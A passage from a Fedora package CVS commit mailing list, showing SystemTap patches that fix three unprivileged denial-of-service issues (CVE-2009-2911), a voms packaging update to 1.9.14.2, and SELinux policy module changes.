       case loc_value:
 	/* Emit the program fragment to calculate the address.  */
-	emit_loc_value (out, loc, indent + 1, "addr", false);
-	deref = deref || loc->address.used_deref;
+	emit_loc_value (out, loc, indent + 1, "addr", false, &deref, max_stack);
 	break;
 
       case loc_fragment:
@@ -2172,6 +2178,9 @@ c_emit_location (FILE *out, struct location *loc, int indent)
 
   emit ("%s%*s}\n", loc->address.program, indent * 2, "");
 
+  if (loc->address.stack_depth > *max_stack)
+    *max_stack = loc->address.stack_depth;
+
   return deref || loc->address.used_deref;
 }
 
diff --git a/loc2c.h b/loc2c.h
index becf2d8..45d9382 100644
--- a/loc2c.h
+++ b/loc2c.h
@@ -112,6 +112,7 @@ struct location *c_translate_argument (struct obstack *,
 
    Writes complete lines of C99, code forming a complete C block, to STREAM.
    Return value is true iff that code uses the `deref' runtime macros.  */
-bool c_emit_location (FILE *stream, struct location *loc, int indent);
+bool c_emit_location (FILE *stream, struct location *loc, int indent,
+		      unsigned int *max_stack);
 
 /* vim: set sw=2 ts=8 cino=>4,n-2,{2,^-2,t0,(0,u0,w1,M1 : */


SystemTap-1.0-limit-printf-arguments.patch:
 buildrun.cxx                  |    3 +++
 testsuite/transko/varargs.stp |   10 ++++++++++
 testsuite/transok/varargs.stp |    9 +++++++++
 translate.cxx                 |    5 +++++
 4 files changed, 27 insertions(+)

--- NEW FILE SystemTap-1.0-limit-printf-arguments.patch ---
diff --git a/buildrun.cxx b/buildrun.cxx
index 100cbc4..c86a442 100644
--- a/buildrun.cxx
+++ b/buildrun.cxx
@@ -200,6 +200,9 @@ compile_pass (systemtap_session& s)
 
   // o << "CFLAGS += -fno-unit-at-a-time" << endl;
 
+  // 600 bytes should be enough for anybody
+  o << "EXTRA_CFLAGS += $(call cc-option,-Wframe-larger-than=600)" << endl;
+
   // Assumes linux 2.6 kbuild
   o << "EXTRA_CFLAGS += -Wno-unused -Werror" << endl;
   #if CHECK_POINTER_ARITH_PR5947
diff --git a/testsuite/transko/varargs.stp b/testsuite/transko/varargs.stp
new file mode 100755
index 0000000..f38309a
--- /dev/null
+++ b/testsuite/transko/varargs.stp
@@ -0,0 +1,10 @@
+#! stap -p3
+
+probe begin {
+    // PR10750 enforces at most 32 print args
+    println(1, 2, 3, 4, 5, 6, 7, 8,
+            9, 10, 11, 12, 13, 14, 15, 16,
+            17, 18, 19, 20, 21, 22, 23, 24,
+            25, 26, 27, 28, 29, 30, 31, 32,
+            33)
+}
diff --git a/testsuite/transok/varargs.stp b/testsuite/transok/varargs.stp
new file mode 100755
index 0000000..216166f
--- /dev/null
+++ b/testsuite/transok/varargs.stp
@@ -0,0 +1,9 @@
+#! stap -p3
+
+probe begin {
+    // PR10750 enforces at most 32 print args
+    println(1, 2, 3, 4, 5, 6, 7, 8,
+            9, 10, 11, 12, 13, 14, 15, 16,
+            17, 18, 19, 20, 21, 22, 23, 24,
+            25, 26, 27, 28, 29, 30, 31, 32)
+}
diff --git a/translate.cxx b/translate.cxx
index 04a9247..c73a5bd 100644
--- a/translate.cxx
+++ b/translate.cxx
@@ -4151,6 +4151,11 @@ c_unparser::visit_print_format (print_format* e)
     {
       stmt_expr block(*this);
 
+      // PR10750: Enforce a reasonable limit on # of varargs
+      // 32 varargs leads to max 256 bytes on the stack
+      if (e->args.size() > 32)
+        throw semantic_error("too many arguments to print", e->tok);
+
       // Compute actual arguments
       vector<tmpvar> tmp;
 


SystemTap-1.0-unwind-table-size-checks.patch:
 runtime/unwind.c        |   43 ++++++++++++++++++++++++++++++++++++-------
 runtime/unwind/unwind.h |    6 ++++--
 translate.cxx           |   11 +++++++++++
 3 files changed, 51 insertions(+), 9 deletions(-)

--- NEW FILE SystemTap-1.0-unwind-table-size-checks.patch ---
diff --git a/runtime/unwind.c b/runtime/unwind.c
index 00108a3..7607770 100644
--- a/runtime/unwind.c
+++ b/runtime/unwind.c
@@ -88,7 +88,7 @@ static sleb128_t get_sleb128(const u8 **pcur, const u8 *end)
 
 /* given an FDE, find its CIE */
 static const u32 *cie_for_fde(const u32 *fde, void *unwind_data,
-			      int is_ehframe)
+			      uint32_t table_len, int is_ehframe)
 {
 	const u32 *cie;
 
@@ -118,6 +118,11 @@ static const u32 *cie_for_fde(const u32 *fde, void *unwind_data,
 	else
 		cie = unwind_data + fde[1];
 
+	/* Make sure address falls in the table */
+	if (((void *)cie) < ((void*)unwind_data)
+	    || ((void*)cie) > ((void*)(unwind_data + table_len)))
+	  return NULL;
+
 	if (*cie <= sizeof(*cie) + 4 || *cie >= fde[1] - sizeof(*fde)
 	    || (*cie & (sizeof(*cie) - 1))
 	    || (cie[1] != 0xffffffff && cie[1] != 0)) {
@@ -200,7 +205,8 @@ static unsigned long read_pointer(const u8 **pLoc, const void *end, signed ptrTy
 	return value;
 }
 
-static signed fde_pointer_type(const u32 *cie)
+static signed fde_pointer_type(const u32 *cie, void *unwind_data,
+			       uint32_t table_len)
 {
 	const u8 *ptr = (const u8 *)(cie + 2);
 	unsigned version = *ptr;
@@ -212,11 +218,16 @@ static signed fde_pointer_type(const u32 *cie)
 		const u8 *end = (const u8 *)(cie + 1) + *cie;
 		uleb128_t len;
 
+		/* end of cie should fall within unwind table. */
+		if (((void*)end) < ((void *)unwind_data)
+		    || ((void *)end) > ((void *)(unwind_data + table_len)))
+		  return -1;
+
 		/* check if augmentation size is first (and thus present) */
 		if (*ptr != 'z')
 			return -1;
 		/* check if augmentation string is nul-terminated */
-		if ((ptr = memchr(aug = (const void *)ptr, 0, end - ptr)) == NULL)
+		if ((ptr = memchr(aug = (const void *)ptr, 0, end - ptr)) == NULL) 
 			return -1;
 		++ptr;		/* skip terminator */
 		get_uleb128(&ptr, end);	/* skip code alignment */
@@ -267,6 +278,10 @@ static void set_rule(uleb128_t reg, enum item_location where, uleb128_t value, s
 	}
 }
 
+/* Limit the number of instructions we process. Arbitrary limit.
+   512 should be enough for anybody... */
+#define MAX_CFI 512
+
 static int processCFI(const u8 *start, const u8 *end, unsigned long targetLoc, signed ptrType, struct unwind_state *state)
 {
 	union {
@@ -276,6 +291,9 @@ static int processCFI(const u8 *start, const u8 *end, unsigned long targetLoc, s
 	} ptr;
 	int result = 1;
 
+	if (end - start > MAX_CFI)
+	  return 0;
+
 	dbug_unwind(1, "targetLoc=%lx state->loc=%lx\n", targetLoc, state->loc);
 	if (start != state->cieStart) {
 		state->loc = state->org;
@@ -606,10 +624,10 @@ static int unwind_frame(struct unwind_frame_info *frame,
 
 	/* found the fde, now set startLoc and endLoc */
 	if (fde != NULL) {
-		cie = cie_for_fde(fde, table, is_ehframe);
+		cie = cie_for_fde(fde, table, table_len, is_ehframe);
 		if (likely(cie != NULL && cie != &bad_cie && cie != &not_fde)) {
 			ptr = (const u8 *)(fde + 2);
-			ptrType = fde_pointer_type(cie);
+			ptrType = fde_pointer_type(cie, table, table_len);
 			startLoc = read_pointer(&ptr, (const u8 *)(fde + 1) + *fde, ptrType);
 			startLoc = adjustStartLoc(startLoc, m, s, ptrType, is_ehframe);
 
@@ -632,12 +650,12 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	    for (fde = table, tableSize = table_len; cie = NULL, tableSize > sizeof(*fde)
 		 && tableSize - sizeof(*fde) >= *fde; tableSize -= sizeof(*fde) + *fde, fde += 1 + *fde / sizeof(*fde)) {
 			dbug_unwind(3, "fde=%lx tableSize=%d\n", (long)*fde, (int)tableSize);
-			cie = cie_for_fde(fde, table, is_ehframe);
+			cie = cie_for_fde(fde, table, table_len, is_ehframe);
 			if (cie == &bad_cie) {
 				cie = NULL;
 				break;
 			}
-			if (cie == NULL || cie == &not_fde || (ptrType = fde_pointer_type(cie)) < 0)
+			if (cie == NULL || cie == &not_fde || (ptrType = fde_pointer_type(cie, table, table_len)) < 0)
 				continue;
 
 			ptr = (const u8 *)(fde + 2);
@@ -666,6 +684,12 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	state.cieEnd = ptr;	/* keep here temporarily */
 	ptr = (const u8 *)(cie + 2);
 	end = (const u8 *)(cie + 1) + *cie;
+
+	/* end should fall within unwind table. */
+	if (((void *)end) < table
+	    || ((void *)end) > ((void *)(table + table_len)))
+	  goto err;
+
 	frame->call_frame = 1;
 	if ((state.version = *ptr) != 1) {
 		dbug_unwind(1, "CIE version number is %d.  1 is supported.\n", state.version);
@@ -723,6 +747,11 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	state.cieEnd = end;
 	end = (const u8 *)(fde + 1) + *fde;
 
+	/* end should fall within unwind table. */
+	if (((void*)end) < table
+	    || ((void *)end) > ((void *)(table + table_len)))
+	  goto err;
+
 	/* skip augmentation */
 	if (((const char *)(cie + 2))[1] == 'z') {
 		uleb128_t augSize = get_uleb128(&ptr, end);
diff --git a/runtime/unwind/unwind.h b/runtime/unwind/unwind.h
index 285a3a3..023ea60 100644
--- a/runtime/unwind/unwind.h
+++ b/runtime/unwind/unwind.h
@@ -143,8 +143,10 @@ static unsigned long read_pointer(const u8 **pLoc,
                                   const void *end,
                                   signed ptrType);
 static const u32 bad_cie, not_fde;
-static const u32 *cie_for_fde(const u32 *fde, void *table, int is_ehframe);
-static signed fde_pointer_type(const u32 *cie);
+static const u32 *cie_for_fde(const u32 *fde, void *table,
+			      uint32_t table_len, int is_ehframe);
+static signed fde_pointer_type(const u32 *cie,
+			       void *table, uint32_t table_len);
 
 
 #endif /* STP_USE_DWARF_UNWINDER */
diff --git a/translate.cxx b/translate.cxx
index bc5d615..9d456bc 100644
--- a/translate.cxx
+++ b/translate.cxx
@@ -29,6 +29,11 @@ extern "C" {
 #include <elfutils/libdwfl.h>
 }
 
+// Max unwind table size (debug or eh) per module. Somewhat arbitrary
+// limit (a bit more than twice the .debug_frame size of my local
+// vmlinux for 2.6.31.4-83.fc12.x86_64)
+#define MAX_UNWIND_TABLE_SIZE (3 * 1024 * 1024)
+
 using namespace std;
 
 struct var;
@@ -4785,6 +4790,9 @@ dump_unwindsyms (Dwfl_Module *m,
   get_unwind_data (m, &debug_frame, &eh_frame, &debug_len, &eh_len, &eh_addr);
   if (debug_frame != NULL && debug_len > 0)
     {
+      if (debug_len > MAX_UNWIND_TABLE_SIZE)
+	throw semantic_error ("module debug unwind table size too big");
+
       c->output << "#if defined(STP_USE_DWARF_UNWINDER) && defined(STP_NEED_UNWIND_DATA)\n";
       c->output << "static uint8_t _stp_module_" << stpmod_idx
 		<< "_debug_frame[] = \n";
@@ -4802,6 +4810,9 @@ dump_unwindsyms (Dwfl_Module *m,
 
   if (eh_frame != NULL && eh_len > 0)
     {
+      if (eh_len > MAX_UNWIND_TABLE_SIZE)
+	throw semantic_error ("module eh unwind table size too big");
+
       c->output << "#if defined(STP_USE_DWARF_UNWINDER) && defined(STP_NEED_UNWIND_DATA)\n";
       c->output << "static uint8_t _stp_module_" << stpmod_idx
 		<< "_eh_frame[] = \n";


Index: systemtap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/systemtap/F-10/systemtap.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- systemtap.spec	23 Sep 2009 02:26:12 -0000	1.49
+++ systemtap.spec	21 Oct 2009 15:53:08 -0000	1.50
@@ -9,7 +9,7 @@
 
 Name: systemtap
 Version: 1.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 # for version, see also configure.ac
 Summary: Instrumentation System
 Group: Development/System
@@ -61,6 +61,11 @@ BuildRequires: xmlto /usr/share/xmlto/fo
 BuildRequires: gtkmm24-devel >= 2.8
 %endif
 
+# Fix three --unprivileged DOS issues (CVE-2009-2911)
+Patch10: SystemTap-1.0-limit-printf-arguments.patch
+Patch11: SystemTap-1.0-limit-dwarf-expression-stack-size.patch
+Patch12: SystemTap-1.0-unwind-table-size-checks.patch
+
 %description
 SystemTap is an instrumentation system for systems running Linux 2.6.
 Developers can write instrumentation to collect data on the operation
@@ -164,6 +169,11 @@ find . \( -name configure -o -name confi
 cd ..
 %endif
 
+# Fix three --unprivileged DOS issues (CVE-2009-2911)
+%patch10 -p1
+%patch11 -p1
+%patch12 -p1
+
 %build
 
 %if %{with_bundled_elfutils}
@@ -387,6 +397,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Josh Stone <jistone at redhat.com> - 1.0-2
+- Fix three --unprivileged DOS issues (CVE-2009-2911)
+
 * Tue Sep 22 2009 Josh Stone <jistone at redhat.com> - 1.0-1
 - Upstream release.
 



From ellert at fedoraproject.org  Wed Oct 21 15:55:27 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed, 21 Oct 2009 15:55:27 +0000 (UTC)
Subject: rpms/voms/devel voms-expat.patch, NONE, 1.1 .cvsignore, 1.3,
	1.4 import.log, 1.2, 1.3 sources, 1.3, 1.4 voms-nolib64.patch,
	1.1, 1.2 voms-portability.patch, 1.2,
	1.3 voms-shell-syntax.patch, 1.1, 1.2 voms.spec, 1.2, 1.3
Message-ID: <20091021155527.B11E911C00E8@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/voms/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24497/devel

Modified Files:
	.cvsignore import.log sources voms-nolib64.patch 
	voms-portability.patch voms-shell-syntax.patch voms.spec 
Added Files:
	voms-expat.patch 
Log Message:
* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)


voms-expat.patch:
 expat.m4 |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE voms-expat.patch ---
diff -ur voms-1.9.14.2.orig/project/expat.m4 voms-1.9.14.2/project/expat.m4
--- voms-1.9.14.2.orig/project/expat.m4	2009-02-04 15:54:28.000000000 +0100
+++ voms-1.9.14.2/project/expat.m4	2009-10-20 12:39:11.202112514 +0200
@@ -19,13 +19,13 @@
     ac_save_CFLAGS=$CFLAGS
     ac_save_LIBS=$LIBS
     if test -n "$with_expat_prefix" -a "$with_expat_prefix" != "/usr" ; then
-  EXPAT_CFLAGS="-I$with_expat_prefix/include"
+	EXPAT_CFLAGS="-I$with_expat_prefix/include"
 	EXPAT_LIBS="-L$with_expat_prefix/lib"
-  EXPAT_LIBS64="-L$with_expat_prefix/lib64"
+	EXPAT_LIBS64="-L$with_expat_prefix/lib64"
     else
 	EXPAT_CFLAGS=""
-	EXPAT_LIBS="-L/usr/lib"
-	EXPAT_LIBS64="-L/usr/lib64"
+	EXPAT_LIBS=""
+	EXPAT_LIBS64=""
     fi
 
     EXPAT_LIBS="$EXPAT_LIBS -lexpat"	
@@ -49,13 +49,13 @@
 #    echo "ac_cv_expat_valid64=$ac_cv_expat_valid64"
     if test x$ac_cv_expat_valid64 = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
-      EXPAT_LIBS="-L$with_expat_prefix/lib64 -lexpat"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib64/libexpat.a"
+      EXPAT_LIBS=$EXPAT_LIBS64
       AC_MSG_RESULT([$ac_cv_expat_valid64 (in lib64)])
     	ifelse([$2], , :, [$2])
     elif test x$ac_cv_expat_valid = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
       AC_MSG_RESULT([$ac_cv_expat_valid (in lib)])
     	ifelse([$2], , :, [$2])
     else


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/voms/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Sep 2009 04:57:59 -0000	1.3
+++ .cvsignore	21 Oct 2009 15:55:27 -0000	1.4
@@ -1 +1 @@
-voms-1.9.12.1.tar.gz
+voms-1.9.14.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/voms/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	21 Sep 2009 04:57:59 -0000	1.2
+++ import.log	21 Oct 2009 15:55:27 -0000	1.3
@@ -1,2 +1,3 @@
 voms-1_9_11-4_fc11:HEAD:voms-1.9.11-4.fc11.src.rpm:1252549706
 voms-1_9_12_1-1_fc11:HEAD:voms-1.9.12.1-1.fc11.src.rpm:1253508983
+voms-1_9_14_2-1_fc11:HEAD:voms-1.9.14.2-1.fc11.src.rpm:1256140426


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/voms/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	21 Sep 2009 04:57:59 -0000	1.3
+++ sources	21 Oct 2009 15:55:27 -0000	1.4
@@ -1 +1 @@
-8f4df625122198faa509453e9df9950e  voms-1.9.12.1.tar.gz
+b7d5b886e61d73c343a6686d5aa3eafe  voms-1.9.14.2.tar.gz

voms-nolib64.patch:
 configure.ac |   12 ------------
 1 file changed, 12 deletions(-)

Index: voms-nolib64.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/devel/voms-nolib64.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-nolib64.patch	10 Sep 2009 02:31:49 -0000	1.1
+++ voms-nolib64.patch	21 Oct 2009 15:55:27 -0000	1.2
@@ -1,7 +1,7 @@
-diff -ur voms-1.9.8.1.orig/configure.ac voms-1.9.8.1/configure.ac
---- voms-1.9.8.1.orig/configure.ac	2009-04-16 15:57:03.000000000 +0200
-+++ voms-1.9.8.1/configure.ac	2009-07-02 12:16:10.035379837 +0200
-@@ -37,10 +37,6 @@
+diff -ur voms-1.9.14.2.orig/configure.ac voms-1.9.14.2/configure.ac
+--- voms-1.9.14.2.orig/configure.ac	2009-10-15 10:29:56.000000000 +0200
++++ voms-1.9.14.2/configure.ac	2009-10-20 09:30:50.748114823 +0200
+@@ -36,18 +36,6 @@
  
  AC_ENABLE_GLITE([], have_glite=yes, have_glite=no) # embed AC_GLITE
  
@@ -9,6 +9,14 @@ diff -ur voms-1.9.8.1.orig/configure.ac 
 -    AC_SUBST([libdir], ['${exec_prefix}/lib64'])
 -fi
 -
+-if test -h /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
+-if ! test -e /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
  AC_EXPAT([], have_expat=yes, have_expat=no)        # taken from org.glite
  AC_CPPUNIT([], have_cppunit=yes, have_cppunit=no)  # taken from org.glite
  AC_GLOBUS([], have_globus=yes, have_globus=no)

voms-portability.patch:
 configure.ac              |    2 -
 project/acinclude.m4      |    8 +++++--
 src/api/ccapi/Makefile.am |   42 ++++++++++++++++++++---------------------
 src/socklib/Makefile.am   |   47 +++++++++++++++++++++++++++-------------------
 4 files changed, 56 insertions(+), 43 deletions(-)

Index: voms-portability.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/devel/voms-portability.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms-portability.patch	21 Sep 2009 04:57:59 -0000	1.2
+++ voms-portability.patch	21 Oct 2009 15:55:27 -0000	1.3
@@ -1,9 +1,8 @@
 diff -ur voms-1.9.11.orig/configure.ac voms-1.9.11/configure.ac
 --- voms-1.9.11.orig/configure.ac	2009-07-16 15:10:39.000000000 +0200
 +++ voms-1.9.11/configure.ac	2009-09-08 14:13:33.244334250 +0200
-@@ -1,6 +1,6 @@
- 
- AC_INIT([GLite Security VOMS], [1.9.12])
+@@ -0,5 +0,5 @@
+ AC_INIT([GLite Security VOMS], [1.9.14])
 -AC_PREREQ(2.59)
 +AC_PREREQ(2.57)
  AC_CONFIG_AUX_DIR([./project])

voms-shell-syntax.patch:
 mysql2oracle.in |    5 ++---
 voms-ping       |    4 ++--
 2 files changed, 4 insertions(+), 5 deletions(-)

Index: voms-shell-syntax.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/devel/voms-shell-syntax.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-shell-syntax.patch	10 Sep 2009 02:31:49 -0000	1.1
+++ voms-shell-syntax.patch	21 Oct 2009 15:55:27 -0000	1.2
@@ -1,29 +1,30 @@
-diff -ur voms-1.9.8.1.orig/src/install/mysql2oracle.in voms-1.9.8.1/src/install/mysql2oracle.in
---- voms-1.9.8.1.orig/src/install/mysql2oracle.in	2005-09-27 16:23:56.000000000 +0200
-+++ voms-1.9.8.1/src/install/mysql2oracle.in	2009-07-02 18:40:14.000000000 +0200
-@@ -2,7 +2,7 @@
- #!/bin/sh
+diff -ur voms-1.9.14.2.orig/src/install/mysql2oracle.in voms-1.9.14.2/src/install/mysql2oracle.in
+--- voms-1.9.14.2.orig/src/install/mysql2oracle.in	2009-07-16 15:10:40.000000000 +0200
++++ voms-1.9.14.2/src/install/mysql2oracle.in	2009-10-20 10:47:24.767113029 +0200
+@@ -1,8 +1,7 @@
+-#!/bin/sh
++#!/bin/bash
  #set -x
  
 -function usage()
-+function usage
- {
+-{
++usage () {
      echo
      echo "usage : mysql2oracle [OPTIONS]"
-diff -ur voms-1.9.8.1.orig/src/install/voms-ping voms-1.9.8.1/src/install/voms-ping
---- voms-1.9.8.1.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
-+++ voms-1.9.8.1/src/install/voms-ping	2009-07-02 18:42:24.000000000 +0200
-@@ -25,7 +25,8 @@
+     echo
+diff -ur voms-1.9.14.2.orig/src/install/voms-ping voms-1.9.14.2/src/install/voms-ping
+--- voms-1.9.14.2.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
++++ voms-1.9.14.2/src/install/voms-ping	2009-10-20 10:46:58.686114743 +0200
+@@ -25,7 +25,7 @@
    echo "  ]"
  }
  
 -function test_vo {
-+function test_vo
-+{
++test_vo() {
     local voname="$1"
     local port=`cat $GLITE_LOCATION/etc/voms/$voname/voms.conf  | grep '^--port' | sed 's/^--port=//'`
     local dn=`openssl x509 -subject -noout -in /etc/grid-security/hostcert.pem|cut -d' ' -f2-`
-@@ -41,7 +42,7 @@
+@@ -41,7 +41,7 @@
  "$voname" "localhost" "$port" "$dn" "$voname"
  EOF
     rm -f /tmp/oo


Index: voms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/voms/devel/voms.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms.spec	21 Sep 2009 04:57:59 -0000	1.2
+++ voms.spec	21 Oct 2009 15:55:27 -0000	1.3
@@ -1,7 +1,7 @@
 %global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}
 
 Name:		voms
-Version:	1.9.12.1
+Version:	1.9.14.2
 Release:	1%{?dist}
 Summary:	Virtual Organization Membership Service
 
@@ -10,9 +10,9 @@ License:	ASL 2.0
 URL:		http://glite.web.cern.ch/glite/
 #		The source tarball is created from a CVS checkout:
 #		cvs -d:pserver:anonymous:@glite.cvs.cern.ch:/cvs/glite co \
-#		  -r glite-security-voms_R_1_9_12_1 \
-#		  -d voms-1.9.12.1 org.glite.security.voms
-#		tar -z -c --exclude CVS -f voms-1.9.12.1.tar.gz voms-1.9.12.1
+#		  -r glite-security-voms_R_1_9_14_2 \
+#		  -d voms-1.9.14.2 org.glite.security.voms
+#		tar -z -c --exclude CVS -f voms-1.9.14.2.tar.gz voms-1.9.14.2
 Source:		%{name}-%{version}.tar.gz
 #		Post-install setup instructions:
 Source1:	%{name}.INSTALL
@@ -61,6 +61,9 @@ Patch13:	%{name}-openssl.patch
 #		Unconditional use of PIPE_BUF
 #		https://savannah.cern.ch/bugs/?55405
 Patch14:	%{name}-pipe-buf.patch
+#		Make sure -L/usr/lib and -L/usr/lib64 is not used
+#		https://savannah.cern.ch/bugs/?57261
+Patch15:	%{name}-expat.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	globus-gssapi-gsi-devel%{?_isa}
@@ -78,7 +81,7 @@ BuildRequires:	tex(latex)
 BuildRequires:	tetex-latex
 %endif
 
-BuildRequires:	java-devel
+BuildRequires:	java-devel >= 1:1.6.0
 BuildRequires:	jpackage-utils
 BuildRequires:	bouncycastle >= 1.39
 BuildRequires:	jakarta-commons-cli
@@ -217,6 +220,7 @@ Virtual Organization Membership Service 
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 # Fix bad permissions (which otherwise end up in the debuginfo package)
 find . '(' -name '*.h' -o -name '*.c' -o -name '*.cpp' -o \
@@ -456,6 +460,9 @@ fi
 %doc %{_javadocdir}/vomsjapi-%{version}
 
 %changelog
+* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
+- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)
+
 * Fri Sep 18 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.12.1-1
 - Upstream 1.9.12.1 (CVS tag glite-security-voms_R_1_9_12_1)
 



From dwalsh at fedoraproject.org  Wed Oct 21 15:55:50 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed, 21 Oct 2009 15:55:50 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-minimum.conf, 1.40,
	1.41 modules-targeted.conf, 1.149, 1.150 policy-F12.patch, 1.114,
	1.115 selinux-policy.spec, 1.947, 1.948
Message-ID: <20091021155550.B229911C00E8@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24859

Modified Files:
	modules-minimum.conf modules-targeted.conf policy-F12.patch 
	selinux-policy.spec 
Log Message:
* Wed Oct 21 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-31
- Allow unconfined_execmem_t to transition to sandbox
- Add sectool policy
- Add sssd log files



Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-minimum.conf,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- modules-minimum.conf	15 Oct 2009 20:42:08 -0000	1.40
+++ modules-minimum.conf	21 Oct 2009 15:55:49 -0000	1.41
@@ -1406,6 +1406,13 @@ seunshare = module
 # 
 shorewall = base
 
+# Layer: apps
+# Module: sectoolm
+#
+# Policy for sectool-mechanism
+# 
+sectoolm = module
+
 # Layer: system
 # Module: setrans
 # Required in base


Index: modules-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-targeted.conf,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- modules-targeted.conf	15 Oct 2009 20:42:08 -0000	1.149
+++ modules-targeted.conf	21 Oct 2009 15:55:49 -0000	1.150
@@ -1406,6 +1406,13 @@ seunshare = module
 # 
 shorewall = base
 
+# Layer: apps
+# Module: sectoolm
+#
+# Policy for sectool-mechanism
+# 
+sectoolm = module
+
 # Layer: system
 # Module: setrans
 # Required in base

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  320 ++++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +-
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
